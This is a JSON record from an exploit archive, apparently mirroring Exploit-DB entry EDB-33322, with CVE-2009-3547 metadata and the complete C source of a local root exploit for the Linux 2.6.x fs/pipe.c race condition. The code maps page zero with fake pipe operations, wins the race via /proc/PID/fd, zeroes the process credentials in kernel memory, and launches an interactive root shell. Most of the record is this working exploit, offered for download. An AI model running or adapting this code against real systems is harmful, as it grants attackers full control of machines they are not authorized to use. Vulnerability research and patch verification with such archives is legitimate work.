{"exploit":{"id":"EDB-33322","name":"Linux Kernel 2.6.x - 'pipe.c' Local Privilege Escalation (LPE)","description":"Linux Kernel 2.6.x - 'pipe.c' Local Privilege Escalation (LPE)","cves":["CVE-2009-3547"],"author":"teach & xipe","published":"2009-11-03","platform":"linux","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/33322","path":"exploits/linux/local/33322.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-33322.c","vulnerabilities":[{"id":"CVE-2009-3547","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple race conditions in fs/pipe.c in the Linux kernel before 2.6.32-rc6 allow local users to cause a denial of service (NULL pointer dereference and system crash) or gain privileges by attempting to open an anonymous pipe via a /proc/*/fd/ pathname.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-3547","cvss":{"version":"3.1","baseScore":7,"severity":"high","vectorString":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-3547"},"updatedAt":"2024-08-07T06:31:10.441Z","retrievedAt":"2026-11-26T23:10:12.549Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-33322.png?v=2","url":"https://exploitbin.com/exploits/EDB-33322","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-33322/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-33322/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\nsource: https://web.archive.org/web/2009/https://www.securityfocus.com/bid/36901/info\n\nLinux kernel is prone to a local privilege-escalation vulnerability that is caused by a NULL-pointer dereference.\n\nLocal attackers can exploit this issue to execute arbitrary code with kernel-level privileges. Successful exploits will result in the complete compromise of affected computers. Failed exploit attempts will result in a denial-of-service condition.\n*/\n\n/******************************************************************************\n *                            .:: Impel Down ::.\n *\n *     Linux 2.6.x fs/pipe.c local kernel root(kit?) exploit (x86)\n *                              by teach & xipe\n *    Greetz goes to all our mates from #nibbles, #oldschool and #carib0u\n *    (hehe guyz, we would probably be high profile and mediatised el8 if we\n *    lost less time on trolling all day long, but we LOVE IT :)))\n *    Special thanks to Ivanlef0u, j0rn & pouik for being such amazing (but i\n *    promise ivan, one day i'll kill u :p)\n *\n * (C) COPYRIGHT teach & xipe, 2009\n * All Rights Reserved\n *\n * teach@vxhell.org\n * xipe@vxhell.org\n *\n *******************************************************************************/\n\n#include <fcntl.h>\n#include <sys/mman.h>\n#include <unistd.h>\n#include <sys/types.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#include <errno.h>\n#include <sys/mman.h>\n#include <syscall.h>\n#include <stdint.h>\n\n#define PIPE_BUFFERS (16)\n\nstruct pipe_buf_operations {\n        int can_merge;\n\tint *ops[10];\n};\n\nstruct pipe_buffer {\n        int *page;\n        unsigned int offset, len;\n        const struct pipe_buf_operations *ops;\n        unsigned int flags;\n        unsigned long private;\n};\n\nstruct pseudo_pipe_inode_info\n{\n\t/* Wait queue head */\n \t\t/* spinlock */\n\t\tint spinlock;\n\t\t/* list */\n\t\tint *next, *prev;\n\tunsigned int nrbufs, curbuf;\n\tint *page;\n\tunsigned int readers;\n\tunsigned int writers;\n\tunsigned int waiting_writers;\n\tunsigned int r_counter;\n\tunsigned int w_counter;\n\tint *async_readers;\n\tint *async_writers;\n\tint *inode;\n\tstruct pipe_buffer bufs[PIPE_BUFFERS];\n};\n\nstatic pid_t uid;\nstatic gid_t gid;\nunsigned long taskstruct[1024];\n\nstatic inline void *get_stack_top()\n{\n\tvoid *stack;\n\n\t__asm__ __volatile__ (\n\t\"movl $0xffffe000,%%eax ;\"\n\t\"andl %%esp, %%eax ;\"\n\t\"movl %%eax, %0 ;\"\n\t: \"=r\" (stack)\n\t);\n\treturn stack;\n}\n\nstatic inline void *get_current()\n{\n\treturn *(void **)get_stack_top();\n}\n\nstatic void update_cred()\n{\n\tuint32_t\ti;\n\tuint32_t\t*task = get_current(); /* Pointer to the task_struct */\n\tuint32_t \t*cred = 0;\n\n\tfor (i = 0; i < 1024; i++)\n\t{\n\t\ttaskstruct[i] = task[i];\n\t\tcred = (uint32_t *)task[i];\n\t\tif (cred == (uint32_t *)task[i+1] && cred > (uint32_t *)0xc0000000) {\n\t\t\tcred++; /* Get ride of the cred's 'usage' field */\n\t        \tif (cred[0] == uid && cred[1] == gid\n\t\t            && cred[2] == uid && cred[3] == gid\n\t\t            && cred[4] == uid && cred[5] == gid\n\t\t            && cred[6] == uid && cred[7] == gid)\n\t\t        {\n\t\t\t\t/* Get root */\n\t\t         \tcred[0] = cred[2] = cred[4] = cred[6] = 0;\n\t\t                cred[1] = cred[3] = cred[5] = cred[7] = 0;\n\t\t\t\tbreak;\n\t\t        }\n\t\t}\n\t}\n}\n\nint is_done(int new)\n{\n\tstatic int done = 0;\n\tif (done == 1)\n\t\treturn (1);\n\tdone = new;\n}\n\nvolatile int done = 0;\nvoid\tkernel_code()\n{\n\tis_done(1);\n\tupdate_cred();\n\t//exit_kernel();\n}\n\nint main(int ac, char **av)\n{\n\tint fd[2];\n\tint pid;\n\tint parent_pid = getpid();\n\tchar *buf;\n\tint i,j;\n\tstruct pseudo_pipe_inode_info \t*pinfo = 0;\n\tstruct pipe_buf_operations\tops;\n\n\tbuf = mmap(0, 0x1000, PROT_READ | PROT_EXEC | PROT_WRITE, MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, 0, 0);\n\n\tprintf (\"buf: %p\\n\", buf);\n\n\tpinfo->readers = 0;\n\tpinfo->writers = 0;\n\n\tfor (i = 0; i < 10; i++)\n\t\tops.ops[i] = (int *)kernel_code;\n\n\tfor (i = 0; i < PIPE_BUFFERS; i++)\n\t{\n\t\tpinfo->bufs[i].ops = &ops;\n\t}\n\n\ti = 0;\n\n\n\tuid = getuid();\n\tgid = getgid();\n\tsetresuid(uid, uid, uid);\n\tsetresgid(gid, gid, gid);\n\t//while (1)\n\t{\n\t\tpid = fork();\n\t\tif (pid == -1)\n\t\t{\n\t\t\tperror(\"fork\");\n\t\t\treturn (-1);\n\t\t}\n\t\tif (pid)\n\t\t{\n\t\t\tchar path[1024];\n\t\t\tchar c;\n\t\t\t/* I assume next opened fd will be 4 */\n\t\t\tsprintf(path, \"/proc/%d/fd/4\", pid);\n\t\t        printf(\"Parent: %d\\nChild: %d\\n\", parent_pid, pid);\n\t\t\twhile (!is_done(0))\n\t\t\t{\n\t\t\t\tfd[0] = open(path, O_RDWR);\n\t\t\t\tif (fd[0] != -1)\n\t\t\t\t{\n\t\t\t\t\tclose(fd[0]);\n\t\t\t\t}\n\t\t\t}\n\t\t\t//system(\"/bin/sh\");\n\t\t\texecl(\"/bin/sh\", \"/bin/sh\", \"-i\", NULL);\n\t\t\treturn (0);\n\t\t}\n\n\t\twhile (!is_done(0))\n\t\t{\n\t\t\tif (pipe(fd) != -1)\n\t\t\t{\n\t\t\t\tclose(fd[0]);\n\t\t\t\tclose(fd[1]);\n\t\t\t}\n\t\t}\n\t}\n}","sha256":"c68e4c2982729a85d63e6fd3689bb5d869d068997d24a38f4a961166ad91de8c","bytes":4550,"fetchedAt":"2026-11-26T23:10:10.328Z","encoding":"utf-8 (display only; download retains original bytes)"}